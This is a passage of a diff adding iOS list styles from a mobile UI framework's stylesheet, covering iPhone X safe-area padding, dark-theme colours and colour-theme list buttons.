.list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner { + padding-left: calc(15px + constant(safe-area-inset-left)); + padding-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner { + padding-left: calc(35px + constant(safe-area-inset-left)); + padding-left: calc(35px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner { + padding-left: calc(15px + constant(safe-area-inset-left)); + padding-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a { + padding-left: calc(35px + constant(safe-area-inset-left)); + padding-left: calc(35px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner { + padding-left: calc(35px + constant(safe-area-inset-left)); + padding-left: calc(35px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a { + padding-left: calc(15px + constant(safe-area-inset-left)); + padding-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row { + padding-left: 0; + } + .ios.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(15px + constant(safe-area-inset-right)); + margin-right: calc(15px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer { + padding-right: 15px; + } + .ios.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer { + padding-right: 15px; + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title { + padding-right: calc(15px + constant(safe-area-inset-right)); + padding-right: calc(15px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li { + padding-right: calc(15px + constant(safe-area-inset-right)); + padding-right: calc(15px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content { + padding-right: calc(15px + constant(safe-area-inset-right)); + padding-right: calc(15px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after { + right: calc(15px + constant(safe-area-inset-right)); + right: calc(15px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a { + padding-right: calc(15px + constant(safe-area-inset-right)); + padding-right: calc(15px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after { + right: calc(15px + const(safe-area-inset-right)); + right: calc(15px + env(safe-area-inset-right)); + } +} +@media (orientation: landscape) and (min-width: 768px) { + .ios.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(15px + constant(safe-area-inset-left)); + margin-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer { + padding-left: 15px; + } +} +@media (orientation: landscape) and (min-width: 768px) { + .ios.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(15px + constant(safe-area-inset-right)); + margin-right: calc(15px + env(safe-area-inset-right)); + } +} +.ios .theme-dark .list ul, +.list.ios .theme-dark ul { + background: #1c1c1d; +} +.ios .theme-dark .list ul:before, +.list.ios .theme-dark ul:before { + background-color: #282829; +} +.ios .theme-dark .list ul:after, +.list.ios .theme-dark ul:after { + background-color: #282829; +} +.ios .theme-dark .list li li:last-child .item-inner:after, +.list.ios .theme-dark li li:last-child .item-inner:after, +.ios .theme-dark .list li:last-child li .item-inner:after, +.list.ios .theme-dark li:last-child li .item-inner:after { + background-color: #282829; +} +.ios .theme-dark .item-divider:before { + background-color: #282829; +} +.ios .theme-dark .list-group-title:before { + background-color: #282829; +} +.ios .theme-dark .list-button:after { + background-color: #282829; +} +.ios .theme-dark .item-inner:after { + background-color: #282829; +} +.ios .theme-dark .item-divider, +.ios .theme-dark .list-group-title { + background-color: #111; +} +.ios .theme-dark .links-list a:after, +.ios .theme-dark .simple-list li:after, +.ios .theme-dark .links-list a:after, +.links-list.ios .theme-dark a .simple-list li:after, +.simple-list.ios .theme-dark li:after { + background-color: #282829; +} +.ios .theme-dark .list .item-link.active-state, +.list.ios .theme-dark .item-link.active-state, +.ios .theme-dark .list .list-button.active-state, +.list.ios .theme-dark .list-button.active-state, +.ios .theme-dark .links-list a.active-state, +.links-list.ios .theme-dark a.active-state { + background-color: #363636; +} +.ios .color-theme-red .list-button { + color: #ff3b30; +} +.ios .color-theme-green .list-button { + color: #4cd964; +} +.ios .color-theme-blue .list-button { + color: #007aff; +} +.ios .color-theme-pink .list-button { + color: #ff2d55; +} +.ios .color-theme-yellow .list-button { + color: #ffcc00; +} +.ios .color-theme-orange .list-button { + color: #ff9500; +} +.ios .color-theme-gray .list-button { + color: #8e8e93; +} +.ios .color-theme-white .list-button { + color: #ffffff; +} +.ios .color-theme-black .list-button { + color: #000000; +} +.ios .list .list-button.color-red, +.ios .list li.color-red .list-button, +.ios .links-list li.color-red a, +.ios .simple-list li.color-red, +.ios .links-list a.color-red, +.ios .list .item-link.color-red, +.ios .list li.color-red .item-link { + color: #ff3b30; +} +.ios .list .list-button.color-green, +.ios .list li.color-green .list-button, +.ios .links-list li.color-green a, +.ios .simple-list li.color-green, +.ios .links-list a.color-green, +.ios .list .item-link.color-green, +.ios .list li.color-green .item-link { + color: #4cd964; +} +.ios .list .list-button.color-blue, +.ios .list li.color-blue .list-button, +.ios .links-list li.color-blue a, +.ios .simple-list li.color-blue, +.ios .links-list a.color-blue, +.ios .list .item-link.color-blue, +.ios .list li.color-blue .item-link { + color: #007aff; +} +.ios .list .list-button.color-pink, +.ios .list li.color-pink .list-button, +.ios .links-list li.color-pink a, +.ios .simple-list li.color-pink, +.ios .links-list a.color-pink, +.ios .list .item-link.color-pink, +.ios .list li.color-pink .item-link { + 